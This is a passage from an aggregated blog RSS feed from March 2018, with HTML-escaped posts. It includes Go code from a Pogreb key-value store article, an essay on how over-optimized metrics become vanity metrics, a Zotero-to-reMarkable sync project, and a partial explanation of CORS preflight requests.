    &lt;/span&gt;&lt;span class="k"&gt;defer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="c1"&gt;// Writing to a database.&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Put&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="c1"&gt;// Reading from a database.&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%s&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="c1"&gt;// Iterating over key/value pairs.&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nx"&gt;it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;it&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pogreb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ErrIterationDone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%s %s&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unlike LevelDB's iterator, Pogreb's iterator returns key/value pairs in an unspecified order - you get constant time lookups in exchange for losing range and prefix scans.&lt;/p&gt;
&lt;p&gt;All API methods are safe for concurrent use by multiple goroutines.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="performance"&gt;
&lt;h3&gt;Performance&lt;a class="headerlink" href="#performance" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I created a &lt;a class="reference external" href="https://github.com/akrylysov/pogreb-bench" target="_blank"&gt;tool&lt;/a&gt; to benchmark Pogreb, Bolt, goleveldb and BadgerDB. The tool generates a given number of random keys (16-64 byte length) and writes random values (128-512 byte length) for the generated keys. After successfully writing the items, pogreb-bench reopens the database, shuffles the keys and reads them back.&lt;/p&gt;
&lt;p&gt;The benchmarks were performed on a DigitalOcean droplet with 8 CPUs / 16 GB RAM / 160 GB SSD + Ubuntu 16.04.3:&lt;/p&gt;
&lt;img alt="" class="align-center" src="https://akrylysov.github.io/pogreb/read-bench.png" style="width: 609px; height: 454px;" /&gt;
&lt;/section&gt;
&lt;section id="conclusion"&gt;
&lt;h3&gt;Conclusion&lt;a class="headerlink" href="#conclusion" title="Permalink to this headline"&gt; #&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Choosing the right data structure and optimizing the store for the specific use case (random lookups) allowed to make Pogreb significantly faster than similar solutions.&lt;/p&gt;
&lt;p&gt;Pogreb on Github - &lt;a class="reference external" href="https://github.com/akrylysov/pogreb" target="_blank"&gt;https://github.com/akrylysov/pogreb&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;</description><author>Artem Krylysov</author><pubDate>Sat, 24 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://artem.krylysov.com/blog/2018/03/24/pogreb-key-value-store/</guid></item><item><title>Device Checker: New project for detecting changes on Windows</title><link>https://andrewshay.me/blog/device-checker-new-project</link><description>I recently wanted software to notify me when services, installed programs, and startup programs were added, removed, or changed.  &lt;br /&gt;
I found some wmic commands to give me that information, as well as much more information.  &lt;br /&gt;
&lt;br /&gt;
I created a program to simply gather information about a Windows system and then notify the user when it has changed, and view the differences.  &lt;br /&gt;
&lt;br /&gt;
It is currently released in beta.  &lt;br /&gt;
&lt;br /&gt;
View on GitHub:   &lt;a href="https://github.com/shayConcepts/device-checker"&gt;shayConcepts/device-checker&lt;/a&gt;&lt;br /&gt;</description><author>Andrew Shay's Blog and Digital Garden</author><pubDate>Sat, 24 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://andrewshay.me/blog/device-checker-new-project</guid></item><item><title>Halt and Catch Fire: Season 3</title><link>https://olshansky.info/tv/halt_and_catch_fire_season_3/</link><description>Olshansky's review of Halt and Catch Fire: Season 3</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 23 Mar 2018 16:02:23 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/halt_and_catch_fire_season_3/</guid></item><item><title>Halt and Catch Fire: Season 4</title><link>https://olshansky.info/tv/halt_and_catch_fire_season_4/</link><description>Olshansky's review of Halt and Catch Fire: Season 4</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 23 Mar 2018 16:02:04 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/halt_and_catch_fire_season_4/</guid></item><item><title>On paying for everything you WANT to read, and others be damned</title><link>https://stop.zona-m.net/2018/03/on-paying-for-everything-you-want-to-read-and-others-be-damned/</link><description>&lt;p&gt;Does paying for almost everything you read put you at a distinct advantage? On one hand, yes, no doubt. On the other, I find certain propositions a bit troubling.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 23 Mar 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/on-paying-for-everything-you-want-to-read-and-others-be-damned/</guid></item><item><title>The Circle</title><link>https://olshansky.info/movie/the_circle/</link><description>Olshansky's review of The Circle</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 23 Mar 2018 15:58:05 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_circle/</guid></item><item><title>The Vanity Metric Paradox</title><link>http://dimitarsimeonov.com/2018/03/23/the-vanity-metric-paradox</link><description>&lt;p&gt;In my time at as a software engineer I’ve seen teams and groups
succeed and fail, grow or be re-organized. One of the things that team
durable and stable over time, and helped them execute and deliver was
have a clear set of metrics to optimize.&lt;/p&gt;

&lt;p&gt;Optimizing metrics is easy. No, really, it is. I believe that &lt;em&gt;having
clear, well defined metrics is the single largest driver of progress
within a company.&lt;/em&gt; When a team owns their metrics, they can make those
metrics go “up-and-to-the-right”. The metrics bring clarity like
nothing else.  It’s a lot easier for us humans to think about ways to
do the specific tasks of increase certain types of engagements or
decrease negative events, than to think about the abstract goal of
“making it all better”. Without a way of measuring what’s better, we
are lost. This is not something I figured out, it is all well
generally understood, and there is plenty of literature and resources
on the topic.&lt;/p&gt;

&lt;p&gt;Over a long period of time, a team with metrics will make a sizable
progress towards those metrics. Rigorous analytics and experimentation
can ensure that the product moves in the direction that metrics M
imply.&lt;/p&gt;

&lt;p&gt;However, there is a failure mode of this kind of optimization. It is
the “vanity metric” paradox.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“Any metric sufficiently optimized becomes a vanity metric”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I’ll explain why this is generally true, and I will use the concept of
“skin in the game” as defined by Nassim Taleb to further illustrate
it. The concept of skin in the game is about exposing yourself to the
downside of what you’re responsible for. Not just the positive reward
if you get it done, but also negative if you fail. For example you’re
a software engineer, you are liable to get fired if you don’t deliver
quality code. If you’re in a leadership situation you are responsible
if your team fails.&lt;/p&gt;

&lt;p&gt;The premise is that the lack of skin in the game corrupts, as it
incentivizes taking too many risks, because “red- I win, black- you
lose”, especially in situations where the black is subtle and rare. In that case “you lose” is big and ruinous.&lt;/p&gt;

&lt;p&gt;I’m also going to refer to the statement by Edward Tufte - “people and
institutions cannot keep their own score accurately”. The way I
understand this statement is that when there is a well defined score -
say water pollution level, the people measuring the water should not be
the one responsible, because they will fudge it.&lt;/p&gt;

&lt;p&gt;These two concepts have interesting interplay especially as referring
to software companies. In a software company, through time, when a
bunch of smart engineers, product managers, designers, VPs and CEOs
look at a product and think about the important ways to measure
success, they look at how people use the product and how they extract
value, and determine metrics which align with users extracting value
and the company succeeding. The reasoning being that if more users
extract value, then there’s more business to be done, and subsequently
there will be more profits.&lt;/p&gt;

&lt;p&gt;For simplicity lets assume we are talking about internal metrics -
without an incentive to fudge this metric externally to get more
funding or increase of the share price.&lt;/p&gt;

&lt;p&gt;The company has skin in those metrics. If the company regresses on
these metrics, it might go bankrupt. At this time, each team in the
company which owns a metric, also has skin in that metric. If the team
lets that metric deteriorate, it will be in trouble.  At this early
stage, there is alignment between the company as a whole, and the
individual teams within it. Their skin is in the same metrics. Lets
see how this alignment might break over time.&lt;/p&gt;

&lt;p&gt;In a hypothetical scenario, lets imagine Unscrew Inc, a company which
specializes in corkscrew openers. Geraldine, the CEO, might insist
that the company measures how many corkscrews the company sells, and
Preston, the CTO might insist on a metric of how long it takes for
someone to open a bottle.&lt;/p&gt;

&lt;p&gt;For months the engineering team is hard at work, and collaborating
with the sales team, on a new version of the corkscrew. Instead of
having two handles on the side, they would simplify the design,
creating a corkscrew which is T shaped that provides more leverage the
person opening the bottle. Let’s imagine a customer, called Ricardo,
who likes to drink wine a couple times a week with his family. He’d
like a simple, cheap and easy to use corkscrew. The new T shaped
corkscrew fits all of these parameters, and is cheaper than the
complicated dual-handle corkscrew he used before, and he buys one.&lt;/p&gt;

&lt;p&gt;Unscrew Inc sees the sale, and that helps its metric of sales grow,
and the engineering team is happy because they’ve tested the T-shaped
corkscrew and it took subjects about 8 seconds to open a bottle
compared to 13 with the dual-handle screw. Great success! Preston is
proud and gives a tech talk on their technology innovation at
ScrewConf. Geraldine is glad, as the simpler design works well for
sales which are slightly up. She gives Preston and herself bonuses for
job well done.&lt;/p&gt;

&lt;p&gt;Let’s pause here. So far Unscrew Inc has been optimizing two
metrics. Sales and ease of use. These two metrics make sense as the
align customer value with success for the company. You can say that
Unscrew Inc has skin in the game with these metrics, that is if these
metrics drop, this is likely to hurt the company. So far, the bonuses
seem justified. Good job Geraldine and Preston!&lt;/p&gt;

&lt;p&gt;Now lets skip forward one year ahead. Preston’s team has started using
a new type of plastic for the handle. The new plastic is more pliable
which allows for finger indents and makes it easier for customers to
hold the corkscrew. This means that now users take 7.5 seconds on
average instead of 8. Preston publishes a blog post describing the 3D
printing they used, twirls his vintage mustache and high fives his
team-mates. The new corkscrew is cheaper due to the plastic, so for
the first quarter after the introduction, sales are up too. Geraldine
gives a company wide presentation, describing the bright future for
the company, ensuring everyone that the grass will only get
greener. More bonuses, corporate parties and balloons.&lt;/p&gt;

&lt;p&gt;Some quarters later, the trend of sales seems to be going up until it
eventually flat-lines. It turns out that the new plastic corkscrews are
not robust and would break more often. Loyal customers came back to
buy Unscrew’s corkscrews the first couple of times, but they no longer
trust the brand.  Meanwhile Preston’s team has been heads down in R&amp;amp;D
and developed a hollow screw, which is cheaper and lighter, and takes 7
seconds to open a bottle of wine with it. The new screw is even more
likely break often than the previous, but this is rarely seen in the
lab, as the lab doesn’t test longevity, just ease of opening.&lt;/p&gt;

&lt;p&gt;At this time, the customers such as Ricardo don’t care if they’ll save
another half second every time they open a bottle. They are frustrated
that the damn screw keeps on breaking and are going with the
competitor brand for their future corkscrew needs.&lt;/p&gt;

&lt;p&gt;It takes some time for other customers to come to the same
conclusion. Meanwhile they’ve been buying more and more of the flimsy
corkscrews, increasing sales. But eventually they are fed up as well
and don’t care any more about Unscrew. They feel screwed, having
wasted too much time and money on corkscrews which break too
often.&lt;/p&gt;

&lt;p&gt;The customers feel betrayed. The gossip spreads and suddenly no one
wants to buy these corkscrews any more. Unscrew’s sales and stock
price plummet, and Geraldine has to lay-off 40% of the staff after
pressure from the board. Preston is fired too, and he goes to work for
a screwdriver company as a VP of handle ergonomics, capitalizing on
his expertise developed during the last year. Geraldine is under a lot
of pressure and worried that she might be replaced by another CEO.&lt;/p&gt;

&lt;p&gt;So… what happened. The metrics got over optimized, and some other
necessary metrics were missing. The ease of opening was important to
improve when they were building the clumsy dual-handle product. But
later on, after switching to the sleek T-shaped one, ease of opening
wasn’t as important. It turned from a metric that the company has skin
in, to a vanity metric.&lt;/p&gt;

&lt;p&gt;Let’s forget for Unscrew Inc for a bit, and get back to the general
case. In the general case, a given set of metrics M is only important
and vital, as long a certain assumptions A are true. We can say that M
(ease of use) contains skin dependent on A (dual handle design is
clumsy). M correlates with success and providing value as long as the
assumptions A are true.&lt;/p&gt;

&lt;p&gt;Assumptions tend change over time. Market conditions, customer habits,
product evolution, etc. The team optimizing M usually isn’t privy to
the assumptions A. And even if it is, they don’t care. Because it’s
not in the OKRs or acknowledged during promotion cycles. Each employee
on that team, whether high or low ranked has little incentive to
understand and preserve A. So the team goes and optimizes M, to the
point where the product has changed so much that the original
assumptions A are no longer true. Once A are no longer true, then
optimizing M would likely make the product worse.  The company and the
product no longer have skin in M.&lt;/p&gt;

&lt;p&gt;But the teams keep on improving M, because it is in their roadmaps,
and OKRs. For each team working on M, their skin is still in M. The
manager and the employees are rewarded on how much they improve M and
how many things they ship that will help improve M in the future. They
don’t want M to change, because they would need to adapt, scrap
project, increase their uncertainty, lose momentum, and risk getting
fired or reorganized into different teams.&lt;/p&gt;

&lt;p&gt;They’d rather keep running faster and faster in the wrong direction
than take time and look at map, and convince their herd to re-orient
and run away from the river full of crocodiles.&lt;/p&gt;

&lt;p&gt;Building products is not science. What makes a good product is usually
dependent on so many factors that are subject to change and evolve. On
the other hand science is durable. A certain level of E.coli in water
would be as toxic today for a human than it would have been hundred
years ago, or it will be hundred years in the future.&lt;/p&gt;

&lt;p&gt;That’s why product and company metrics need to evolve and be
re-thought on a regular basis. I think every six months might be good.&lt;/p&gt;

&lt;p&gt;Another example is financial performance. There are generally accepted
accounting practices - GAAP. These have evolved over time, as
corporate executives have figured out ways to game these metrics in
order to make the companies appear better to investors, to increase
the price, to get larger bonuses. If you see the evolution of GAAP you
would see that the rate of change is increasing.  This is inline with
Edward Tufte’s claim that people and institutions can’t keep their
own score.  It is also inline with the vanity metric
paradox. Financial instruments and investment opportunities are always
changing, so GAAP need to evolve to keep pace.&lt;/p&gt;

&lt;p&gt;Any type of performance needs to be adjusted over time. Any score is
game-able, or at least prone to getting outdated. Any metrics
sufficiently optimized becomes a vanity metric.&lt;/p&gt;

&lt;p&gt;Even with best intentions, people and institutions need to recognize
that their metrics can go bad. Metrics are still the best organizing
force in a company, but then need to be regularly re-thought and
updated.&lt;/p&gt;</description><author>D13V</author><pubDate>Fri, 23 Mar 2018 04:57:59 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/03/23/the-vanity-metric-paradox</guid></item><item><title>An update on Apple Watch</title><link>https://rjp.is/blogging/posts/watch-update/</link><description>In which we consider our update.</description><author>infrequent oscillations</author><pubDate>Fri, 23 Mar 2018 02:08:09 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/watch-update/</guid></item><item><title>Zotero reMarkable sync</title><link>https://michael.mior.ca/blog/zotero-remarkable-sync/</link><description>&lt;p&gt;I’ve really been enjoying my &lt;a href="https://remarkable.com/"&gt;reMarkable&lt;/a&gt; tablet the past several months.
(I wrote &lt;a href="https://michael.mior.ca/blog/remarkable-review/"&gt;a short review&lt;/a&gt; last year if you care to see a few more details).
One of the biggest gripes I have about the device is that it can be a pain to get documents on it.
There’s currently no web app so the only choice is desktop apps for Windows and macOS or a mobile app for Android.
Once I saw someone had released a &lt;a href="https://github.com/splitbrain/ReMarkableAPI"&gt;reMarkable API&lt;/a&gt; on GitHub, I knew I would have to find some way to ease my pain.&lt;/p&gt;
&lt;p&gt;I use &lt;a href="https://www.zotero.org/"&gt;Zotero&lt;/a&gt; to manage my paper references and unsurprisingly, reading papers is one of the primary uses of my reMarkable.
I decided to figure out a way I could have new papers I wanted to read in Zotero show up on my reMarkable.
Using the reMarkable and Zotero APIs, this proved to be a fairly straightforward weekend project.
You can find the result &lt;a href="https://github.com/michaelmior/zotero-remarkable"&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To get started, there are simply a few environment variables that need to be set which are detailed in the README.
Then once the script is run, it will look for items in a Zotero collection, download their attachments, and upload them to the reMarkable API.
Putting this script into a cron job means that my papers are now synchronized regularly.
I’m currently hosting this for myself for free on Heroku using the &lt;a href="https://devcenter.heroku.com/articles/scheduler"&gt;scheduler add-on&lt;/a&gt; to run the job.
I disabled any web process (&lt;code&gt;heroku ps:scale web=0&lt;/code&gt;) so the only thing that runs is the cron job.
Since the cron job is quite quick to run, it falls well within the free usage limits of Heroku.&lt;/p&gt;
&lt;p&gt;I may decide to add a &lt;a href="https://devcenter.heroku.com/articles/heroku-button"&gt;Heroku button&lt;/a&gt; to the repository in the future, but it’s fairly straightforward to configure manually.
Just set the required environment variables, disable the web dyno, and set up the cron job with the scheduler.
Hope this ends up being useful to someone else!&lt;/p&gt;</description><author>Michael Mior</author><pubDate>Fri, 23 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://michael.mior.ca/blog/zotero-remarkable-sync/</guid></item><item><title>What Is That Options Request Before Post And Cross Origin Resource Sharing</title><link>https://nikhilsoni.me/2018/03/23/what-is-that-options-request-before-post-and-cross-origin-resource-sharing/</link><description>&lt;p&gt;I was working on project that was sending a POST request with some
data from a web client to a service hosted on a different domain. The
service’s logs were saying no support for OPTIONS request, which made
sence because it expects a POST request and that’s what it
supports. So who is sending this OPTIONS request when I’m tring to
sending a POST from my browser client? I checked the network tab in
browser inspector, browser indeed was sending an OPTIONS request, that
too with an empty body and I didn’t see any POST request. Weird!&lt;/p&gt;

&lt;p&gt;If you have ever wrote any ajax call, there are high chances you would
have encountered problems related to &lt;code class="language-plaintext highlighter-rouge"&gt;cross-domain&lt;/code&gt;, saying you’re not
allowed to access resources that doesn’t have same origin. This
happens when you try to call services from different hosts other than
your own server through Javascript. And I knew the reason is browser’s
&lt;a href="https://en.wikipedia.org/wiki/Same-origin_policy"&gt;Same Origin policy&lt;/a&gt;
and what that is, what I didn’t knew was how it exactly works?!&lt;/p&gt;

&lt;p&gt;What is Same Origin policy, well, the moment you navigate to an URL,
your browser allows the website developer to execute theirs JavaScript
on your machine. To limit what that script can do, like accessing data
from another web page opened in another tab or cookies created by
another websites, browser uses this Same Origin policy, which allow
one domain to access resources that belongs to that domain only
i.e. resources with same origin. This applies only on what already
loaded JS can access through DOM or by making a Ajax calls and not on
web page itself embedding static content e.g. images, CSS or Javascipt
files itself.&lt;/p&gt;

&lt;p&gt;When Javascipt of some website tries to access resources from other
sites i.e. make a cross-origin request, the browser adds a &lt;code class="language-plaintext highlighter-rouge"&gt;Origin&lt;/code&gt;
header with the request and checks the response header for specific
headers like &lt;code class="language-plaintext highlighter-rouge"&gt;Access-Control-Allow-Origin&lt;/code&gt; which signals browser that
server allows current origin to access its data. This happens if
request does not modify data e.g. GET or HEAD request. For requests
that modify data like requests with POST method or content type as
&lt;code class="language-plaintext highlighter-rouge"&gt;application/json&lt;/code&gt;, browser first asks the other host if it allows
requesting host to access their resource. If other host says yes, it
goes ahead with your request.&lt;/p&gt;

&lt;p&gt;Browser implements this by first sending something called a
&lt;em&gt;preflight&lt;/em&gt; request which is a HTTP request with OPTIONS method,
containing a header &lt;code class="language-plaintext highlighter-rouge"&gt;Origin&lt;/code&gt; and other &lt;code class="language-plaintext highlighter-rouge"&gt;Access-Control-*&lt;/code&gt; headers
describing original request’s method and content type, which server
can respond with proper headers describing methods it supports for
request from this origin and header it needs. Browser can cache this
information and might not verify every time.&lt;/p&gt;

&lt;p&gt;You can see this in browser’s Developer Tools. Open Inspect window for
current or any web page other than &lt;code class="language-plaintext highlighter-rouge"&gt;example.com&lt;/code&gt; and execute following
JS in console:&lt;/p&gt;

&lt;div class="language-javascript highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should seen error saying &lt;code class="language-plaintext highlighter-rouge"&gt;Cross-Origin Request Blocked&lt;/code&gt; and if you
check Network tab, browser did made a GET request as specified above
along with a &lt;code class="language-plaintext highlighter-rouge"&gt;Origin&lt;/code&gt; header but since the response header did not
have any &lt;code class="language-plaintext highlighter-rouge"&gt;Access-Control-*&lt;/code&gt; headers, browser will not return the
response to the client and hence you only saw error in console. Now
try executing this JS:&lt;/p&gt;

&lt;div class="language-javascript highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
